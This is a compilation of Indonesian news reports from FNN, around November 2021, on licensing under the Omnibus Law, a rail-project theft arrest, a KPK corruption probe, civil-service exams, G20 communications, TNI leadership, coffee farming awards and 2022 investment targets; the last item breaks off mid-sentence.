Jakarta, FNN - Direktur Eksekutif Komite Pemantauan Pelaksanaan Otonomi Daerah (KPPOD) Herman N. Suparman mengatakan bahwa Undang-Undang Cipta Kerja (UU Ciptaker) masih berpotensi menimbulkan permasalahan regulasi berupa tumpang tindih peraturan. “Peraturan Pemerintah masih mendelegasikan ketentuan-ketentuan teknis ke peraturan-peraturan menteri. Ini potensi tumpang tindih peraturan akan terjadi lagi,” kata Armand, sapaan akrab Herman, ketika memberi paparan dalam Diskusi Media dengan topik “Sengkarut Implementasi Perizinan Berusaha Berbasis Risiko di Daerah” yang disiarkan di kanal YouTube KPPOD Jakarta dan dipantau dari Jakarta, Selasa. Padahal, Pemerintah dan DPR menciptakan Undang-Undang Cipta Kerja sebagai solusi untuk mengatasi permasalahan obesitas regulasi di Indonesia yang sering kali menimbulkan permasalahan tumpang tindih regulasi. Akan tetapi, peraturan pemerintah yang menjadi turunan dari UU Ciptaker justru mengarahkan ketentuan-ketentuan teknis pelaksanaan UU Ciptaker kepada peraturan-peraturan menteri. “Bagi kami di KPPOD, itu menjadi ruang atau potensi tumpang tindih peraturan di masa depan. Karena, antara peraturan menteri yang satu dengan lainnya, bisa saja saling bertentangan terkait dengan proses perizinan berusaha,” tutur dia. Dengan demikian, Armand menegaskan bahwa yang menjadi catatan dari pihaknya sebelum berbagai peraturan pemerintah ditetapkan adalah, seluruh peraturan yang terkait dengan alur atau perizinan proses bisnis, serta peraturan yang terkait dengan teknis pelaksanaan, seharusnya hanya sampai di peraturan pemerintah. “Namun PP-PP (Peraturan pemerintah-peraturan pemerintah, red.) ini masih mendelegasikannya ke peraturan menteri-peraturan menteri teknis,” ucap Armand. Selain itu, menurut Armand, sebagai regulasi turunan dari UU Ciptaker, Peraturan Pemerintah masih belum solid. Masih terdapat jenis perizinan non-KBLI atau Klasifikasi Baku Lapangan Usaha Indonesia, perizinan non-berusaha non-KBLI, dan non-perizinan yang belum diatur. “Khusus PP 5 Tahun 2021, tidak mengatur jelas terkait syarat dan jangka waktu perizinan yang selama ini menjadi problem kita,” ucapnya. Kemudian, ia menambahkan bahwa masih belum terdapat batasan dalam penerapan diskresi oleh pemerintah daerah dalam penerapan OSS RBA. OSS RBA atau Online Single Submission Risk-Based Approach adalah sistem yang menempatkan risiko sebagai paradigma utama atas setiap kegiatan berusaha, sehingga berimplikasi pada perubahan desain kebijakan, kelembagaan, dan platform layanan berusaha saat ini, baik di pusat maupun daerah. Belum adanya batasan dalam penerapan diskresi oleh pemerintah daerah mengakibatkan kegamangan bagi pemda dalam memberikan pelayanan dan membingungkan pemohon izin. “Karena masih ada beberapa usaha-usaha yang belum masuk dalam lampiran di PP 5 Tahun 2021 ini,” kata Armand. (sws)

Polisi Ringkus Tiga Pencuri Besi Proyek Kereta Api Cepat

Cikarang, Bekasi, FNN - Petugas kepolisian dari Unit Patroli Jalan Raya (PJR) meringkus tiga pelaku pencurian besi proyek kereta api cepat di Kilometer 34 Ruas Tol Jakarta-Cikampek, Desa Cibatu, Kecamatan Cikarang Selatan, Kabupaten Bekasi, Jawa Barat. "Tadi pagi petugas memergoki tiga orang dengan gerak-gerik yang mencurigakan di sekitar KM 34 Cibatu," kata Kepala Induk PJR Jakarta-Cikampek AKP Rikky Atmaja, Selasa. Petugas bersama anggota ketenteraman dan ketertiban (trantib) setempat kemudian mengecek lokasi, mendapati ketiganya sedang memotong tiang besi proyek kereta api cepat. "Setelah dicek ternyata bukan pekerja proyek, akhirnya kita amankan di sini. Kita tanya memang niatnya mau mencuri dengan cara memotong besi," ungkapnya. Rikky mengaku ketiga pelaku belum berhasil memotong tiang saat ditangkap. Mereka tertangkap tangan tengah melakukan proses pengelasan. "Sebelum kita tangkap, tiang tersebut belum terpotong, baru proses pengelasan, keburu tertangkap tangan oleh petugas dibantu trantib," ucapnya. Petugas kemudian melakukan penyelidikan dengan meminta keterangan para pelaku. Ketiga pelaku mengaku sudah melakukan aksi tersebut sebanyak dua kali. "Yang pertama mereka berhasil, berhasil memotong. Pengakuan mereka sekitar satu kuintal dia dapat potongan besi yang bagian atasnya saja, satu kuintal lebih," ucapnya. Dari tempat kejadian perkara, petugas mengamankan sejumlah alat yang diduga digunakan ketiga pelaku untuk melancarkan aksinya, mulai dari alat las, tabung gas, oksigen, palu, linggis, serta kendaraan berterpal yang mereka gunakan. "Terpal modusnya sengaja ditutupi, malam-malam ditutupi agar percikannya tidak kelihatan silau mata untuk mengelabui petugas yang patroli," katanya. Rikky belum dapat memastikan apakah pencurian besi proyek kereta cepat ini berkaitan dengan pencurian sebelumnya yang terjadi di KM 06. Sementara kasus ini langsung dilimpahkan ke Polres Metro Bekasi. (sws)

KPK Kembali Panggil Kepala SMKN 7 Tangsel Kasus Pengadaan Tanah

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) kembali memanggil Kepala Sekolah Menengah Kejuruan Negeri (SMKN) 7 Tangerang Selatan (Tangsel), Banten, Aceng Haruji untuk diperiksa sebagai saksi di Gedung KPK, Jakarta, Selasa. Pemanggilannya itu terkait penyidikan kasus dugaan korupsi pengadaan tanah untuk pembangunan SMKN 7 Tangsel pada Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017. "Hari ini, penyidikan perkara terkait dugaan pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan pada Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017 bertempat di Kantor KPK, tim penyidik mengagendakan pemangilan saksi-saksi," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Selain Aceng Haruji, KPK juga memanggil seorang saksi lainnya, yaitu Suningsih selaku notaris. Sebelumnya, saksi Aceng Haruji tidak memenuhi panggilan penyidik pada Selasa (9/11) dengan tidak mengonfirmasi alasan ketidakhadirannya. Dalam penyidikan kasus tersebut, KPK pada Senin (22/11) juga telah memanggil dua saksi, yaitu Agus Kartono dan Anastasia W Lesmana Thio masing-masing dari pihak swasta. "Agus Kartono (swasta) yang bersangkutan hadir dan didalami pengetahuannya antara lain mengenai kuasa dari penjual kepada saksi terkait pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan," kata Ali. Sementara saksi Anastasia W Lesmana Thio tidak menghadiri pemanggilan tim penyidik. "KPK mengimbau untuk kooperatif hadir pada jadwal pemeriksaan selanjutnya," ucap Ali. Diketahui, KPK sedang melakukan penyidikan kasus dugaan korupsi pengadaan tanah pembangunan SMKN 7 Tangsel tersebut. Kendati demikian, KPK saat ini belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. Dalam penyidikan kasus tersebut, tim penyidik KPK juga telah menggeledah beberapa tempat di wilayah Jakarta, Tangerang Selatan, Serang, dan Bogor, yaitu rumah kediaman dan kantor dari para pihak yang terkait dengan kasus tersebut. KPK menemukan dan mengamankan berbagai barang barang bukti diantaranya dokumen, barang elektronik, dan dua unit mobil. (sws)

Sebanyak 315 Peserta Ikuti SKB CPNS 2021 Kota Madiun

Madiun, FNN - Sebanyak 315 peserta mengikuti tes seleksi kompetensi bidang (SKB) calon pegawai negeri sipil (CPNS) Tahun 2021 di Kota Madiun, Jawa Timur, yang diselenggarakan pada Kamis tanggal 25 November. Kepala Badan Kepegawaian dan Pengembangan SDM (BKPSDM) Kota Madiun Haris Rahmanudin mengatakan ratusan peserta yang menjalani SKB adalah mereka yang dinilai lolos "passing grade" pada tes seleksi kompetensi dasar (SKD). "Secara keseluruhan ada 315 peserta yang ikut SKB. Dari jumlah itu, sebanyak 288 peserta terjadwal mengikuti seleksi di Wisma Haji Kota Madiun dan 27 lainnya mengikuti seleksi di luar Kota Madiun," ujar Haris di Madiun, Selasa. Menurut dia, SKB nantinya berlangsung hanya sehari yang terbagi tiga sesi. Per sesi diikuti 105 peserta. Sama seperti saat SKD, SKB juga dilaksanakan menggunakan sistem "Computer Assissted Test" (CAT). "Sistemnya CAT juga, sama seperti saat SKD lalu. Kami sudah berkoordinasi dengan BKN. Prinsipnya kita siap, tinggal pemasangan kabel, laptop, dan jaringannya saja," katanya. Adapun materi soal seleksi yang diujikan berkaitan dengan kompetensi bidang dari masing-masing formasi yang dilamar. Setiap peserta diberi alokasi waktu 90 menit untuk mengerjakan soal SKB. Untuk SKB ini, bobot penilaiannya 60 persen sedangkan SKD 40 persen. Untuk menentukan lolos tidaknya, nilai tersebut nantinya akan diakumulasikan. Ia menambahkan, karena digelar pada masa pandemi, SKB dilaksanakan dengan menerapkan protokol kesehatan ketat, seperti saat SKD lalu. Termasuk keharusan peserta sudah divaksin dan menjalani tes antigen atau usap. Panitia seleksi daerah juga menyediakan ruangan khusus jika kedapatan ada peserta yang suhunya lebih dari 37,5 derajat Celsius. Termasuk jika kemungkinan ada peserta yang terkonfirmasi positif COVID-19 berdasarkan hasil rapid tes antigen. Adapun para peserta SKB itu nantinya memperebutkan 114 formasi CPNS/CASN di Kota Madiun, terdiri atas tenaga kesehatan 62 formasi dan tenaga teknis 52 formasi. Sementara secara keseluruhan Pemkot Madiun membuka sebanyak 300 formasi calon Aparatur Sipil Negara (CASN) pada tahun 2021 untuk memenuhi kekurangan pegawai yang ada di lingkungan kerjanya. Adapun 300 formasi tersebut tidak hanya untuk formasi ASN namun, juga formasi pegawai pemerintah dengan perjanjian kerja (PPPK) untuk guru atau tenaga pendidik. Rincian dari 300 formasi tersebut adalah ASN sebanyak 114 formasi, terdiri tenaga kesehatan 62 formasi dan tenaga teknis 52 formasi. Kemudian formasi PPPK sebanyak 186 formasi, terdiri tenaga pendidik 162 formasi, tenaga kesehatan 12 formasi, dan tenaga teknis 12 formasi. (sws)

Moeldoko Ajak Semua Pihak Fokus Perkuat Komunikasi G20

Jakarta, FNN - Kepala Staf Kepresidenan Moeldoko mengajak seluruh masyarakat dan elemen kementerian/lembaga untuk berfokus pada penguatan komunikasi publik tentang kepemimpinan G20 Indonesia pada 2022. Moeldoko menekankan pentingnya komunikasi keketuaan G20 Indonesia karena ini merupakan kesempatan untuk menunjukkan kemampuan Indonesia dalam menangani pandemi dan pulih dari krisis kepada dunia. Hal ini disampaikan oleh mantan panglima TNI itu pada forum tematik Bakohumas bertema "Menuju Keketuaan G20 Indonesia 2022" yang dihadiri 50 humas dari seluruh kementerian dan lembaga, di Jakarta, Selasa, sebagaimana siaran pers KSP. “Sebentar lagi kita akan menghadapi tahun politik 2024. Jangan sampai kita terlalu sibuk bicara politik. Kita harus fokus untuk memperkuat komunikasi publik terkait keketuaan G20 Indonesia ini ke dunia,” imbau Moeldoko. Selain itu, menurut Moeldoko, komunikasi tentang kepemimpinan G20 Indonesia menjadi penting karena Indonesia adalah negara berkembang pertama yang mengemban tugas sebagai ketua G20. Sehingga negara-negara berkembang dan rentan di dunia memberikan banyak harapan kepada kepemimpinan Indonesia dalam kelompok ekonomi kuat dunia yang menguasai 85 persen ekonomi dunia, 80 persen investasi global, 75 persen perdagangan internasional dan 66 persen populasi dunia ini. “Keketuaan G20 Indonesia adalah pintu harapan bagi negara berkembang, namun pada sisi lain kepemimpinan Indonesia harus bisa mempengaruhi negara-negara berkembang di dunia,” kata Moeldoko. Dalam rangka keketuaan G20 Indonesia, KSP ditugaskan bersama Kominfo sebagai tim komunikasi dan pengelolaan media sesuai dengan Perpres Nomor 12/2021 mengenai Panitia Nasional Keketuaan G20 Indonesia. KSP sendiri sesuai dengan amanat Perpres Nomor 83/2019 berfungsi sebagai pengawal isu-isu strategis dan juga pengelola strategi komunikasi termasuk komunikasi politik. Indonesia menerima secara resmi penyerahan tongkat estafet kepemimpinan G20 dari Italia dan mengambil tema “Recover Together, Recover Stronger” dalam keketuaan Indonesia di G20 pada 2022. Kepemimpinan di G20 berjalan secara bergantian dalam mekanisme yang disepakati bersama. Moeldoko menekankan hal ini harus dimaknai sebagai pesan dari Indonesia untuk dunia pulih bersama. Menteri Komunikasi dan Informatika, Johnny G Plate ,yang turut hadir dalam forum tersebut juga mengimbau kanal dan insan komunikasi pemerintah untuk mengimbangi isu pertentangan politik dengan komunikasi publik yang berkaitan dengan kesuksesan keketuaan G20 Indonesia. “Tinggalkan ego sektoral, kita harus berkoordinasi dengan baik agar bisa menyampaikan substansi G20 secara baik,” kata dia. (sws)

KPPOD: UU Ciptaker Permudah Perizinan untuk Pelaku Usaha

Jakarta, FNN - Direktur Eksekutif Komite Pemantauan Pelaksanaan Otonomi Daerah (KPPOD) Herman N. Suparman mengatakan, berdasarkan hasil kajian KPPOD, Undang-Undang Cipta Kerja (UU Ciptaker) telah mempermudah pelayanan perizinan untuk para pelaku usaha mikro dan kecil. “Undang-Undang ini dan beberapa peraturan turunannya, khususnya Peraturan Pemerintah Nomor 5 Tahun 2021, sangat memberikan kemudahan kepada pelaku usaha mikro dan kecil dalam mengurus perizinan,” kata Armand, sapaan akrab Herman, ketika memberi paparan dalam Diskusi Media dengan topik “Sengkarut Implementasi Perizinan Berusaha Berbasis Risiko di Daerah” yang disiarkan di kanal YouTube KPPOD Jakarta dan dipantau dari Jakarta, Selasa. UU Ciptaker merupakan solusi yang dicetuskan oleh pemerintah untuk mengatasi permasalahan perizinan yang diakibatkan oleh regulasi yang tumpang tindih, obesitas regulasi, dan berbagai persyaratan yang menyulitkan pelaku usaha untuk memperoleh izin berusaha. Permasalahan tersebut berdampak pada daya saing berusaha di Indonesia yang sangat rendah di mata dunia, khususnya bagi para investor. Oleh karena itu, pendekatan yang semula merupakan berdasarkan pada lisensi, kini berganti menjadi pendekatan berbasis risiko. Bagi perusahaan-perusahaan dengan risiko rendah, khususnya usaha mikro, kecil, dan menengah (UMKM), proses untuk mengurus perizinan menjadi lebih mudah dengan diterbitkannya UU Ciptaker oleh Presiden dan DPR. “Penyelenggara OSS RBA ini menegaskan prinsip fiktif positif. Fiktif positif ini artinya, ketika satu perizinan itu diberi batas waktu hanya sepuluh hari, dan kala pemerintah daerah atau lembaga OSS-nya itu melewati batas waktu, otomatis dokumen (perizinannya, red.) terbit,” kata dia. Prinsip itu, Armand melanjutkan, memaksa kepada penyelenggara pemerintahan di pusat maupun di daerah untuk mematuhi prosedur operasi standar (standard operating procedure / SOP) yang sudah tercantum di dalam undang-undang, peraturan pemerintah, peraturan daerah, serta peraturan kepala daerah. Adapun yang dimaksud dengan OSS RBA atau Online Single Submission Risk-Based Approach adalah sistem yang menempatkan risiko sebagai paradigma utama atas setiap kegiatan berusaha, sehingga berimplikasi pada perubahan desain kebijakan, kelembagaan, dan platform layanan berusaha saat ini, baik di pusat maupun daerah. OSS RBA juga mengintegrasikan seluruh layanan perizinan berusaha di kementerian atau lembaga pusat, serta di dinas-dinas teknis di daerah. Integrasi tersebut memberi gambaran bahwa sistem yang diusung oleh Indonesia akan memberi kemudahan kepada para pelaku usaha untuk mengakses di mana saja dan kapan saja, juga untuk mendapatkan layanan perizinan dan hasil perizinan. “Pelayanan perizinan untuk (usaha yang, red.) berisiko rendah berjalan optimal,” kata Armand. (sws)

Bupati Tangerang: Buat Kajian Akademis Terkait Daerah Otonomi Baru

Tangerang, Banten, FNN - Bupati Tangerang, Ahmed Zaki Iskandar, menyarankan kepada warganya untuk menyusun atau membuat kajian akademis terlebih dahulu terkait keinginan pendirian daerah otonomi baru Tangerang Tengah, sambil menunggu moratorium pemekaran daerah dari pemerintah pusat. "Lebih baik buat kajian akademis dulu. Sambil menunggu moratorium. Karena daerah otonom baru masih di-moratorium," kata dia, di Tangerang, Banten, Selasa. Ia mengatakan mereka sampai saat ini belum menerima pemberitahuan secara resmi dari usulan warga di lima kecamatan itu, terkait keinginan membentuk daerah otonomi baru tersebut. Menurut dia, Pemerintah Kabupaten Tangerang sebelumnya pernah merencanakan untuk anggaran kajian ekonomi terkait pembentukan Tangeranng Tengah. Namun, rencana itu tertunda karena anggaran yang disediakan direlokasi ke penanganan pandemi Covid-19. "Belum, anggaranya direlokasi ke penanganan Covid-19 dahulu, " kata dia. Sementara, Ketua Presidium Pembentukan Kota Tangerang Tengah, Nurdin Satibi, mengatakan, aspirasi mereka tentang pemekaran wilayah itu untuk meningkatkan kesejahteraan masyarakat dan pembangunan bisa benar-benar merata sehingga diperlukan pemerintahan baru. "Tujuannya untuk kemaslahatan masyarakat, dan juga memang sangat relevan sekali untuk di wilayah Tangerang Tengah ini. InsyaAllah nanti Rabu (24/11), kami akan melakukan pertemuan kembali di kampus sekitaran Gading Serpong, " ujarnya. Sementara itu, anggota DPRD Kabupaten Tangerang, Supriadi, mengatakan, wilayah Kabupaten Tangerang terlalu luas, sehingga diperlukan pemekaran kembali. Namun, kata dia, masyarakat perlu berjuang cukup keras untuk meyakinkan pihak pemerintah setempat agar mau memekarkan daerahnya. "Menurut saya itu sangat mantap, dan memang sudah sepatutnya Kabupaten Tangerang kembali dimekarkan. Namun itu perlu kerja keras untuk meyakinkan pihak pemerintah daerah, " kata dia. (sws)

Panglima TNI Silaturahim ke Mabes Polri Perkuat Sinergitas Soliditas

Jakarta, FNN - Panglima TNI Jenderal TNI Andika Perkasa melanjutkan kunjungan kerjanya ke Markas Besar (Mabes) Polri di Jakarta, bersilaturahim dengan Kapolri Jenderal Pol Listyo Sigit Prabowo beserta jajaran, Selasa. Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono menyebutkan, kunjungan Panglima Jenderal Andika tersebut dalam rangka memperkuat soliditas dan sinergitas antara Polri dan TNI. "Hari ini Bapak Panglima TNI akan ke Mabes Polri dalam rangka bersilaturahim dengan Bapak Kapolri," ucap Rusdi. Rusdi mengatakan sinergitas dan soliditas TNI-Polri merupakan kekuatan strategis dalam rangka menghadapi tantangan tugas ke depan yang semakin komplek. Sinergitas dan soliditas TNI-Polri tersebut, lanjut dia, sudah terjalin sejak lama, dan tentunya dengan kepemimpinan Jenderal Andika lebih diperkuat dan diperkokoh kembali. "Tentunya kehadiran beliau ke Mabes Polri dalam rangka memperkokoh, memperkuat soliditas dan sinergisitas antara TNI dan Polri," tuturnya. Rencana kunjungan Panglima Jenderal Andika beserta jajaran dijadwalkan pukul 13.00 WIB. Paparan terkait isi dari pertemuan tersebut akan disampaikan oleh Kapolri dan Panglima TNI usai pertemuan berlangsung. "Kita tunggu saja, nanti akan ada pernyataan dari Kapolri dan Panglima," ujar Rusdi. Sebelumnya, Panglima TNI Jenderal TNI Andika Perkasa mengawali kunjungan kerjanya mendatangi Markas Besar TNI Angkatan Laut dan Markas Besar TNI Angkatan Udara di Cilangkap, Jakarta, Senin (22/11). Andika Perkasa resmi menjabat sebagai Panglima TNI setelah dilantik oleh Presiden Joko Widodo pada 17 November 2021. Usai pelantikan, Marsekal TNI Hadi Tjahjanto pun menyerahkan jabatan Panglima TNI ke Andika Perkasa pada upacara di Mabes TNI, Jakarta, pada 18 November 2021. Dalam dua kegiatan itu, Andika menegaskan ia akan melanjutkan berbagai program kerja yang telah dilaksanakan oleh Hadi Tjahjanto. "Saya akan melanjutkan tugas-tugas yang sudah dilakukan oleh Marsekal Hadi Tjahjanto karena itulah yang kami geluti. Saya akan berusaha yang terbaik untuk melanjutkan," kata Andika usai mengikuti upacara serah terima jabatan, Kamis (18/11) pekan lalu. (sws)

Tentara Mesir dan Makna Filosofi TNI Adalah Kita

Jakarta, FNN - Beberapa hari yang lalu Istana Negara menjadi saksi sejarah ketika Presiden Joko Widodo melantik Jenderal TNI Andika Perkasa sebagai Panglima TNI, Rabu (17/11/2021). Pelantikan itu berdasarkan Surat Keputusan Presiden Nomor 106/TNI 2021 tentang Pemberhentian dan Pengangkatan Panglima TNI yang dibacakan Sekretaris Militer Presiden untuk menggantikan Marsekal TNI Hadi Tjahjanto, yang akan pensiun pada November ini. Setelah keputusan presiden dibacakan, Jenderal TNI Andika Perkasa pun mengucapkan sumpah dan janjinya yang dipimpin Presiden Jokowi. Beberapa hari sebelum pelantikan (6/11) dalam uji kelayakan dan kepatutan di hadapan Komisi I DPR, Jenderal Andika memperkenalkan pernyataan visi baru untuk TNI yakni: TNI ADALAH KITA. Sebuah kalimat --yang menurut dia-- sangat singkat, namun dia berharap masyarakat Indonesia dan masyarakat internasional bisa melihat TNI sebagai kita atau bagian dari mereka. Entah kebetulan atau tidak, visi ini mirip dengan slogan militer Mesir, Jaish Huwa Nahnu atau Tentara Adalah Kita. Sebuah visi yang menjadikan militer Mesir menjadi bagian tak terpisahkan dari kehidupan masyarakatnya. Menjadikan masyarakat Mesir bangga dengan militer sehingga kalau mereka ditanya: Siapakah tentara? Mereka sering mengatakan bahwa tentara adalah ayahku, kakakku, pamanku, dan aku adalah tentara. Selain, tentu kita tahu, Mesir termasuk negara yang kekuatan militernya diperhitungkan di dunia. Menurut Global Firepower, suatu situs pemeringkat militer di dunia pada 2020, menempatkan Mesir di peringkat ke-sembilan dari 138 negara, dengan indeks kekuatan militer 0,1872. Dalam indeks itu, Mesir tercatat memiliki total 920.000 personel militer, dengan rincian personel aktif 440.000, personel cadangan 480.000. Sedangkan pada 2021 indeks kekuatan militer Mesir turun di peringkat ke 13 dunia dengan nilai indeks 0,2216. Sementara kekuatan militer udara negeri dengan julukan Seribu Menara ini meraih skor 1.054. Ini meliputi kekuatan jet tempur, pesawat militer untuk misi khusus, pesawat serang, helikopter, dan helikopter serang serta lainnya. Total kekuatan tank dan kendaraan lapis baja Mesir meraih skor 4.295. Sementara total kekuatan angkatan laut dan kapal selam Mesir mendapat skor 316. GFP juga memperhitungkan kekuatan militer negara dari aspek sumber daya alam dan logistik. Sementara Indonesia di bawah pemerintahan Joko Widodo pada 2021, menurut Global Firepower yang merilis daftar kekuatan militer bertajuk 2021 Military Strength Ranking, naik pada peringkat ke-16, dengan PowerIndex 0,2684. Walaupun menempati peringkat 16 dunia, di ASEAN Indonesia menjadi kekuatan militer nomor satu. Sementara untuk tingkat Asia, Indonesia menempati negara dengan kekuatan militer nomor enam sesudah China, India, Jepang, Korea Selatan, dan Pakistan. Pemeringkatan ini dilakukan dengan menggunakan lebih dari 50 faktor, dengan kategori mulai dari kekuatan militer dan keuangan hingga kemampuan logistik dan geografi. Andaipun Jenderal Andika terinspirasi dari slogan militer Mesir itu hal yang wajar, walaupun menurut pengakuan dia, slogan itu sesuai dengan apa yang dia pelajari saat belajar kebijakan publik dan kebijakan administrasi publik. Dari slogan ini, dia ingin masyarakat Indonesia dan internasional merasa bahwa TNI ini bagian dari mereka. Kendati TNI sendiri sudah punya slogan yang menjadi doktrin, yaitu Tentara Nasional Indonesia, Tri Dharma Eka Karma, artinya pengabdian tiga matra dalam satu jiwa, tekad, dan semangat. TNI AD dengan Kartika Eka Pakçi, artinya prajurit yang tiada tanding. TNI AL, Jalesveva Jayamahe, artinya di lautan kita jaya, dan TNI AU, Swa Bhuwana Pakça, artinya sayap Tanah Air. Tetapi slogan baru TNI ADALAH KITA yang diperkenalkan Andika Perkasa seperti menjadi penghubung sekaligus "perasan" dari tiga doktrin diatas. TNI adalah kita merupakan upaya bukan sebatas menjadi pernyataan visi untuk mendekatkan TNI dengan masyarakat tapi bagaimana visi ini mampu memanunggalkan TNI dan masyarakat tercipta dalam upaya mengimplementasikan bela negara untuk menjaga kedaulatan NKRI. Kemanunggalan TNI dan masyarakat dalam konteks negara demokrasi juga positif untuk menciptakan hubungan strategis antara TNI dan rakyat agar bisa saling mengontrol satu sama lain. Citra TNI yang relatif kondusif, tingkat kepercayaan masyarakat pada TNI yang masih tinggi akan makin mempermudah Andika untuk mewujudkan jargon TNI adalah kita di tengah masyarakat Indonesia. Visi di atas, apabila mampu dibumikan dan diwujudkan, bukan saja akan menjadikan TNI yang integral bersama rakyat, namun juga visi TNI adalah kita apabila mampu diwujudkan pada setiap strata kehidupan masyarakat maka TNI akan berada di jantung kehidupan masyarakat dan menjadi kekuatan tiada ternilai yang menyatu dengan masyarakat. "TNI adalah Kita" adalah bagian dari filosofi yang dinamis. Dinamika tantangan berbangsa dan bernegara dewasa ini semakin kompleks. Tuntutan terhadap peran TNI dalam menjaga kedaulatan semakin berat dan tidak mudah. Namun, tanggung jawab yang berat tersebut dapat diatasi dengan prinsip yang sudah mendarah daging bagi bangsa ini, yaitu gotong-royong, bahu-membahu, berat sama dipikul, ringan sama dijinjing. Sehingga apa yang jadi tanggung jawab utama TNI pada gilirannya juga tanggung jawab bersama seluruh elemen bangsa, rakyat khususnya. Apabila kita melihat perkembangan ancaman hari ini yang sangat mengerikan. Ke depan peperangan antarnegara bukan sebatas dilakukan dengan pesawat dan senjata dengan beragam jenisnya, peperangan ke depan bisa saja terjadi di luar angkasa (peperangan satelit), perang siber, perang proksi, perang senjata biologi termasuk perang dengan melakukan penyebaran virus dan berbagai jenis perang modern lain. Perebuatan hegemoni dan sumber daya alam terjadi diberbagai negara termasuk di Indonesia. Dalam konteks ini dibutuhkan personel TNI yang bukan hanya sebatas mampu mengoperasikan sistem kesenjataan yang modern, namun juga mampu memahami beragam jenis peperangan modern dan melakukan kontra pada berbagai peperangan itu. "TNI adalah Kita" menjadi slogan yang menenangkan. TNI ke depan mampu mendapatkan dukungan penuh rakyat Indonesia. TNI menjadi milik rakyat sepenuhnya. Dengan demikian, tidak ada satupun kelompok yang boleh menguasai TNI, karena TNI adalah milik rakyat. Dengan begitu, seluruh rakyat Indonesia adalah "tentara" yang bertanggung jawab menjaga kedaulatan bangsa dan negara. Karena itu tak berlebihan Jendral Andika lebih memilih pendekatan persuasif untuk menyelesaikan konflik, di seluruh pelosok negeri. Pendekatan lunak, dan dialogis ini termasuk akan dilakukan pada aktor-aktor yang mendukung separatisme. Andai Itu bisa dilakukan Andika, maka makna sejati dari slogan baru TNI ADALAH KITA benar benar menjadi visi indah yang membawa persatuan dan perdamaian bagi bangsa Indonesia dari Aceh hingga Papua. *) Mujahidin Nur, Direktur The Islah Centre, Jakarta. (sws)

Inovator Kopi Robusta Ciptakan Klon Baru

Jakarta, FNN - Kompetisi petani kopi robusta Lampung III usai digelar pada Senin (22/11) ditandai dengan pemberian penghargaan kepada para inovator kopi robusta. Para inovator yang berhasil menciptakan klon kopi robusta baru tersebut di antaranya adalah Bagio dengan klon Bagio, Cipto Marijo dengan klon Cipto serta Darmani Aras dengan klon Darmani. Penghargaan diharapkan dapat memompa minat petani kopi robusta muda agar mau mencoba berkreasi untuk lahirnya klon baru kopi robusta. Penghargaan lainnya dalam lomba kebun kopi robusta Lampung III adalah kategori pelopor produktivitas dimana petani kopi robusta yang produktivitas kebun kopinya sudah mencapai rata-rata 3.000 kg/hektar/tahun. Petani pelopor juga akan dinilai terkait wawasan pengetahuannya tentang berkebun kopi robusta. Tujuan pemberian predikat petani pelopor dalam kompetisi yang digagas oleh kolaborasi antara Koperasi Fine Robusta Lampung, PT. Sulotco Jaya Abadi (Grup Kapal Api) dan PT. Asia Makmur serta didukung oleh Kappi itu adalah untuk memotivasi para petani kopi robusta yang produktivitasnya masih dibawah 1 ton/hektar/tahun supaya mau belajar kepada yang sudah sukses agar minimal produktivitasnya bisa mencapai 2 ton/hektar/tahun. Selain produktivitas kebun kopinya yang sudah mencapai 3.000 kg/hektar/tahun ada beberapa syarat lain yang harus dipahami oleh petani pelopor. Adapun syarat tersebut meliputi bagaimana cara merawat kebun kopi setelah panen, bagaimana cara menyiapkan cabang cabang/ranting-ranting baru tempat bunga dan buah kopi untuk panen pada tahun yang akan datang sesuai dengan target yang diinginkan, bagaimana memupuk kebun kopi yang cukup sesuai dosis dan sesuai jenis pupuk untuk mencukupi kebutuhan nutrisi pohon kopi yang sesuai target produktivitas yang diinginkan. Syarat lainnya yang harus dipenuhi petani pelopor adalah mampu menjelaskan kepada orang lain cara-cara berkebun kopi supaya bisa mencapai target produktivitas minimal 2 ton/hektar/tahun secara berkelanjutan serta mampu membimbing petani kopi robusta yang sedang belajar menaikkan produktivitas kebun kopinya. Lomba biji kopi/green beans dan uji citarasa dilakukan sejak awal Agustus 2021 lalu. Panitia Apresiasi Petani Kopi Robusta (APKR) III-2021 sendiri mulai menerima sampel untuk lomba dari awal Agustus 2021 hingga akhir September 2021, sedangkan untuk seleksi biji kopi dan uji citarasa dari awal Oktober 2021 sampai awal November 2021. Total sampel yang diterima panitia APKR III-2021 sebanyak 67 sampel. (mth)

Bahlil: Target Investasi 2022 Rp 1.200 Triliun Demi Dongkrak Ekonomi

Jakarta, FNN - Menteri Investasi/Kepala Badan Koordinasi Penanaman Modal (BKPM) Bahlil Lahadalia mengatakan target realisasi investasi pada tahun 2022 sebesar Rp1.200 triliun bertujuan untuk mendongkrak pertumbuhan ekonomi nasional agar bisa di atas kisaran 5 persen. "Rp1.200 triliun ini salah satu syarat untuk bagaimana mendongkrak pertumbuhan ekonomi nasional kita di atas 5 persen. Memang ini bukan pekerjaan yang gampang karena harus naik sekitar 22 persen-33 persen. Dan ini harus dilakukan kerja yang luar biasa masif," katanya dalam acara Economic Outlook 2022: Prospek Investasi 2022 yang digelar secara daring di Jakarta, Selasa. Bahlil mengungkapkan target realisasi investasi pada tahun 2022 sebagaimana RPJMN 2020-2024 yakni sebesar Rp 968,4 triliun. Namun, Presiden Jokowi memberi arahan khusus agar investasi bisa digenjot dengan target Rp 1.200 triliun. Peningkatan realisasi investasi sebesar 22 persen-33 persen sendiri diperlukan agar pertumbuhan ekonomi tahun depan sebesar 5,4 persen hingga 6 persen bisa dicapai. Kendati dipatok target tinggi, Bahlil mengaku optimis bisa mencapainya. Hal itu lantaran pengalaman yang dilalui di 2021 serta upaya hilirisasi yang tengah dilakukan pemerintah saat ini. "Saya punya keyakinan dengan pengalaman di 2021, dengan kombinasi 